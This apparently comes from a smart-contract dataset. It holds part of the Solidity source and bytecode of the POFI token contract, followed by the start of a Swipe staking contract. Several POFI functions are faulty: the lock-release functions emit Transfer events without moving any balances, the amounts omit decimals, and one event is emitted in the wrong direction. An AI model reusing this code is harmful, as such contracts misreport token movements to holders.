* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
totalSupply = totalSupply.add(amount);
balances[account] = balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface with the features of the above declared standard token
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract POFI is StandardToken {
using SafeMath for uint256;
string public name;
string public symbol;
string public version = '1.0';
uint8 public decimals;
uint16 public exchangeRate;
uint256 public lockedTime;
uint256 public othersLockedTime;
uint256 public marketingLockedTime;
event TokenNameChanged(string indexed previousName, string indexed newName);
event TokenSymbolChanged(string indexed previousSymbol, string indexed newSymbol);
event ExchangeRateChanged(uint16 indexed previousRate, uint16 indexed newRate);
/**
* ERC20 Token Constructor
* @dev Create and issue tokens to msg.sender.
*/
constructor (address privatesale, address presale, address marketing) public {
decimals = 18;
exchangeRate = 12566;
lockedTime = 1632031991; // 1 year locked
othersLockedTime = 1609528192; // 3 months locked
marketingLockedTime = 1614625792; // 6 months locked
symbol = "POFI";
name = "PoFi Network";
mint(privatesale, 15000000 * 10**uint256(decimals)); // Privatesale 15% of the tokens
mint(presale, 10000000 * 10**uint256(decimals)); // Presale 10% of the tokens
mint(marketing, 5000000 * 10**uint256(decimals)); // Marketing/partnership/uniswap liquidity (5% of the tokens, the other 5% is locked for 6 months)
mint(address(this), 70000000 * 10**uint256(decimals)); // Team 10% of tokens locked for 1 year, Others(Audit/Dev) 5% of tokens locked for 3 months, marketing 5% of tokens locked for 6 months, rewards 50% of the total token supply is locked for 3 months
}
/**
* @dev Function to change token name.
* @return A boolean.
*/
function changeTokenName(string newName) public isOwner returns (bool success) {
emit TokenNameChanged(name, newName);
name = newName;
return true;
}
/**
* @dev Function to change token symbol.
* @return A boolean.
*/
function changeTokenSymbol(string newSymbol) public isOwner returns (bool success) {
emit TokenSymbolChanged(symbol, newSymbol);
symbol = newSymbol;
return true;
}
/**
* @dev Function to check the exchangeRate.
* @return A boolean.
*/
function changeExchangeRate(uint16 newRate) public isOwner returns (bool success) {
emit ExchangeRateChanged(exchangeRate, newRate);
exchangeRate = newRate;
return true;
}
function () public payable {
fundTokens();
}
/**
* @dev Function to fund tokens
*/
function fundTokens() public payable {
require(msg.value > 0);
uint256 tokens = msg.value.mul(exchangeRate);
require(balances[owner].sub(tokens) > 0);
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[owner] = balances[owner].sub(tokens);
emit Transfer(msg.sender, owner, tokens);
forwardFunds();
}
/**
* @dev Function to forward funds internally.
*/
function forwardFunds() internal {
owner.transfer(msg.value);
}
/**
* @notice Release locked tokens of team.
*/
function releaseTeamLockedPOFI() public isOwner returns(bool){
require(block.timestamp >= lockedTime, "Tokens are locked in the smart contract until respective release Time ");
uint256 amount = balances[address(this)];
require(amount > 0, "TokenTimelock: no tokens to release");
emit Transfer(address(this), msg.sender, amount);
return true;
}
/**
* @notice Release locked tokens of Others(Dev/Audit).
*/
function releaseOthersLockedPOFI() public isOwner returns(bool){
require(block.timestamp >= othersLockedTime, "Tokens are locked in the smart contract until respective release time");
uint256 amount = 5000000; // 5M others locked tokens which will be released after 3 months
emit Transfer(address(this), msg.sender, amount);
return true;
}
/**
* @notice Release locked tokens of Marketing.
*/
function releaseMarketingLockedPOFI() public isOwner returns(bool){
require(block.timestamp >= marketingLockedTime, "Tokens are locked in the smart contract until respective release time");
uint256 amount = 5000000; // 5M others locked tokens which will be released after 3 months
emit Transfer(address(this), msg.sender, amount);
return true;
}
/**
* @notice Release locked tokens of Rewards(Staking/Liqudity incentive mining).
*/
function releaseRewardsLockedPOFI() public isOwner returns(bool){
require(block.timestamp >= othersLockedTime, "Tokens are locked in the smart contract until respective release time");
uint256 amount = 50000000; // 50M rewards locked tokens which will be released after 3 months
emit Transfer(address(this), msg.sender, amount);
return true;
}
/**
* @dev User to perform {approve} of token and {transferFrom} in one function call.
*
*
* Requirements
*
* - `spender' must have implemented {receiveApproval} function.
*/
function approveAndCall(
address _spender,
uint256 _value,
bytes _extraData
) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
if(!_spender.call(
bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))),
msg.sender,
_value,
this,
_extraData
)) { revert(); }
return true;
}
}
|
0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461018a578063095ea7b31461021a57806318160ddd1461027f5780631a6494b4146102aa57806323b872dd146102d55780632e4409071461035a578063313ce56714610389578063323be1c5146103ba5780633ba0b9a9146103e95780633f4ba83a1461041c57806342414fbe146104335780634be8b05e14610462578063512477db1461047957806354fd4d50146104a45780635c975abb1461053457806370a08231146105635780637f606079146105ba5780638456cb59146105e95780638da5cb5b1461060057806395d89b4114610657578063a8b38205146106e7578063a9059cbb14610712578063b0018bfc14610777578063c6d3ab9d146107f8578063cae9ca5114610879578063d1af57dc14610924578063d23481de1461096d578063dd62ed3e1461099c578063f2fde38b14610a13578063fcae08e114610a56575b610188610a60565b005b34801561019657600080fd5b5061019f610d17565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101df5780820151818401526020810190506101c4565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022657600080fd5b50610265600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db5565b604051808215151515815260200191505060405180910390f35b34801561028b57600080fd5b50610294610f19565b6040518082815260200191505060405180910390f35b3480156102b657600080fd5b506102bf610f23565b6040518082815260200191505060405180910390f35b3480156102e157600080fd5b50610340600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f29565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b5061036f61132c565b604051808215151515815260200191505060405180910390f35b34801561039557600080fd5b5061039e6114c3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103c657600080fd5b506103cf6114d6565b604051808215151515815260200191505060405180910390f35b3480156103f557600080fd5b506103fe6114e9565b604051808261ffff1661ffff16815260200191505060405180910390f35b34801561042857600080fd5b506104316114fd565b005b34801561043f57600080fd5b506104486115dd565b604051808215151515815260200191505060405180910390f35b34801561046e57600080fd5b5061047761184e565b005b34801561048557600080fd5b5061048e61190b565b6040518082815260200191505060405180910390f35b3480156104b057600080fd5b506104b9611911565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f95780820151818401526020810190506104de565b50505050905090810190601f1680156105265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054057600080fd5b506105496119af565b604051808215151515815260200191505060405180910390f35b34801561056f57600080fd5b506105a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c2565b6040518082815260200191505060405180910390f35b3480156105c657600080fd5b506105cf611a0b565b604051808215151515815260200191505060405180910390f35b3480156105f557600080fd5b506105fe611ba2565b005b34801561060c57600080fd5b50610615611cdb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066357600080fd5b5061066c611d00565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106ac578082015181840152602081019050610691565b50505050905090810190601f1680156106d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106f357600080fd5b506106fc611d9e565b6040518082815260200191505060405180910390f35b34801561071e57600080fd5b5061075d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611da4565b604051808215151515815260200191505060405180910390f35b34801561078357600080fd5b506107de600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061200f565b604051808215151515815260200191505060405180910390f35b34801561080457600080fd5b5061085f600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612185565b604051808215151515815260200191505060405180910390f35b34801561088557600080fd5b5061090a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506122fb565b604051808215151515815260200191505060405180910390f35b34801561093057600080fd5b50610953600480360381019080803561ffff169060200190929190505050612598565b604051808215151515815260200191505060405180910390f35b34801561097957600080fd5b50610982612661565b604051808215151515815260200191505060405180910390f35b3480156109a857600080fd5b506109fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127f9565b6040518082815260200191505060405180910390f35b348015610a1f57600080fd5b50610a54600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612880565b005b610a5e610a60565b005b60008034111515610a7057600080fd5b610a97600760019054906101000a900461ffff1661ffff16346129d590919063ffffffff16565b90506000610b0e82600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1090919063ffffffff16565b111515610b1a57600080fd5b610b6c81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a2990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2281600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1090919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3610d14612a47565b50565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dad5780601f10610d8257610100808354040283529160200191610dad565b820191906000526020600020905b815481529060010190602001808311610d9057829003601f168201915b505050505081565b60008060149054906101000a900460ff161580610e1e57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610e2957600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60095481565b60008060149054906101000a900460ff161580610f9257506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f9d57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611068575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156110745750600082115b15611320576110cb82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a2990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061116082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061123282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611325565b600090505b9392505050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138a57600080fd5b600a544210151515611450576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260458152602001807f546f6b656e7320617265206c6f636b656420696e2074686520736d617274206381526020017f6f6e747261637420756e74696c20726573706563746976652072656c6561736581526020017f2074696d6500000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b624c4b4090503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505090565b600760009054906101000a900460ff1681565b600060159054906101000a900460ff1681565b600760019054906101000a900461ffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561155857600080fd5b600060149054906101000a900460ff16151561157357600080fd5b60011515600060149054906101000a900460ff16151514151561159557600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561163b57600080fd5b6008544210151515611701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260468152602001807f546f6b656e7320617265206c6f636b656420696e2074686520736d617274206381526020017f6f6e747261637420756e74696c20726573706563746976652072656c6561736581526020017f2054696d6520000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115156117e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6581526020017f617365000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118a957600080fd5b60008060146101000a81548160ff02191690831515021790555060008060156101000a81548160ff0219169083151502179055507faff39f66825d4448497d384dee3f4a3adf00a622960add00806503ae4ccee01c60405160405180910390a1565b600a5481565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119a75780601f1061197c576101008083540402835291602001916119a7565b820191906000526020600020905b81548152906001019060200180831161198a57829003601f168201915b505050505081565b600060149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6957600080fd5b6009544210151515611b2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260458152602001807f546f6b656e7320617265206c6f636b656420696e2074686520736d617274206381526020017f6f6e747261637420756e74696c20726573706563746976652072656c6561736581526020017f2074696d6500000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b624c4b4090503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bfd57600080fd5b600060149054906101000a900460ff161580611c6557506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611c7057600080fd5b60011515600060159054906101000a900460ff161515141515611c9257600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d965780601f10611d6b57610100808354040283529160200191611d96565b820191906000526020600020905b815481529060010190602001808311611d7957829003601f168201915b505050505081565b60085481565b60008060149054906101000a900460ff161580611e0d57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611e1857600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611e675750600082115b1561200457611ebe82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a2990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050612009565b600090505b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561206c57600080fd5b816040518082805190602001908083835b6020831015156120a2578051825260208201915060208101905060208303925061207d565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206004604051808280546001816001161561010002031660029004801561212c5780601f1061210a57610100808354040283529182019161212c565b820191906000526020600020905b815481529060010190602001808311612118575b505091505060405180910390207fe08ba098c56583ff7ce264f98fb97b7ddc5e6af834acc0556b24327f72a555f960405160405180910390a3816004908051906020019061217b929190612ab1565b5060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121e257600080fd5b816040518082805190602001908083835b60208310151561221857805182526020820191506020810190506020830392506121f3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600560405180828054600181600116156101000203166002900480156122a25780601f106122805761010080835404028352918201916122a2565b820191906000526020600020905b81548152906001019060200180831161228e575b505091505060405180910390207f68023cab388c6052af3fa625f164cd0c14cc9125d57286fbe0d9b384847c4c0260405160405180910390a381600590805190602001906122f1929190612ab1565b5060019050919050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b8381101561253c578082015181840152602081019050612521565b50505050905090810190601f1680156125695780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561258d57600080fd5b600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125f557600080fd5b8161ffff16600760019054906101000a900461ffff1661ffff167f8f3c16d89fccb74966578aba0ca8bf48d13e234508349c3bee614a9f7d42b93460405160405180910390a381600760016101000a81548161ffff021916908361ffff16021790555060019050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126bf57600080fd5b6009544210151515612785576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260458152602001807f546f6b656e7320617265206c6f636b656420696e2074686520736d617274206381526020017f6f6e747261637420756e74696c20726573706563746976652072656c6561736581526020017f2074696d6500000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b6302faf08090503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128db57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561291757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008414156129ea5760009150612a09565b82840290508284828115156129fb57fe5b04141515612a0557fe5b8091505b5092915050565b6000828211151515612a1e57fe5b818303905092915050565b6000808284019050838110151515612a3d57fe5b8091505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015612aae573d6000803e3d6000fd5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612af257805160ff1916838001178555612b20565b82800160010185558215612b20579182015b82811115612b1f578251825591602001919060010190612b04565b5b509050612b2d9190612b31565b5090565b612b5391905b80821115612b4f576000816000905550600101612b37565b5090565b905600a165627a7a72305820b3a33e9c68032bf5f10efdd5f22998ac975c6854abbf981f4b7d38f722dc329e0029
|
{"success": true, "error": null, "results": {}}
| 5,726 |
0xB994a94CCe737A1E9750A6772b3E0661Ed6CA72f
|
pragma solidity 0.5.17;
interface IErc20Token {
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract NamedContract {
/// @notice The name of contract, which can be set once
string public name;
/// @notice Sets contract name.
function setContractName(string memory newName) internal {
name = newName;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract StakingEvent {
event Initialize(
address indexed owner,
address indexed sxp,
address indexed rewardProvider,
uint256 minimumStakeAmount,
uint256 rewardCycle,
uint256 rewardAmount,
uint256 rewardCycleTimestamp
);
event Stake(
address indexed staker,
uint256 indexed amount
);
event Claim(
address indexed toAddress,
uint256 indexed amount,
uint256 indexed nonce
);
event Withdraw(
address indexed toAddress,
uint256 indexed amount
);
event GuardianshipTransferAuthorization(
address indexed authorizedAddress
);
event GuardianUpdate(
address indexed oldValue,
address indexed newValue
);
event MinimumStakeAmountUpdate(
uint256 indexed oldValue,
uint256 indexed newValue
);
event RewardProviderUpdate(
address indexed oldValue,
address indexed newValue
);
event RewardPolicyUpdate(
uint256 oldCycle,
uint256 oldAmount,
uint256 indexed newCycle,
uint256 indexed newAmount,
uint256 indexed newTimeStamp
);
event DepositRewardPool(
address indexed depositor,
uint256 indexed amount
);
event WithdrawRewardPool(
address indexed toAddress,
uint256 indexed amount
);
event ApproveClaim(
address indexed toAddress,
uint256 indexed amount,
uint256 indexed nonce
);
}
contract StakingStorage {
struct Checkpoint {
uint256 blockNumberOrCheckpointIndex;
uint256 stakedAmount;
}
/// @notice Initialized flag - indicates that initialization was made once
bool internal _initialized;
address public _guardian;
address public _authorizedNewGuardian;
address public _sxpTokenAddress;
uint256 public _minimumStakeAmount;
mapping (address => mapping (uint256 => Checkpoint)) internal _stakedMap;
uint256 public _totalStaked;
uint256 public _prevRewardCycle;
uint256 public _prevRewardAmount;
uint256 public _prevRewardCycleTimestamp;
uint256 public _rewardCycle;
uint256 public _rewardAmount;
uint256 public _rewardCycleTimestamp;
uint256 public _rewardPoolAmount;
address public _rewardProvider;
uint256 public _claimNonce;
mapping (address => mapping (uint256 => uint256)) public _approvedClaimMap;
}
contract Staking is NamedContract, StakingStorage, StakingEvent {
using SafeMath for uint256;
constructor() public {
setContractName('Swipe Staking');
}
/********************
* STANDARD ACTIONS *
********************/
/**
* @notice Gets the staked amount of the provided address.
*
* @return The staked amount
*/
function getStakedAmount(address staker) public view returns (uint256) {
Checkpoint storage current = _stakedMap[staker][0];
return current.stakedAmount;
}
/**
* @notice Gets the prior staked amount of the provided address, at the provided block number.
*
* @return The staked amount
*/
function getPriorStakedAmount(address staker, uint256 blockNumber) external view returns (uint256) {
if (blockNumber == 0) {
return getStakedAmount(staker);
}
Checkpoint storage current = _stakedMap[staker][0];
for (uint i = current.blockNumberOrCheckpointIndex; i > 0; i--) {
Checkpoint storage checkpoint = _stakedMap[staker][i];
if (checkpoint.blockNumberOrCheckpointIndex <= blockNumber) {
return checkpoint.stakedAmount;
}
}
return 0;
}
/**
* @notice Stakes the provided amount of SXP from the message sender into this wallet.
*
* @param amount The amount to stake
*/
function stake(uint256 amount) external {
require(
amount >= _minimumStakeAmount,
"Too small amount"
);
Checkpoint storage current = _stakedMap[msg.sender][0];
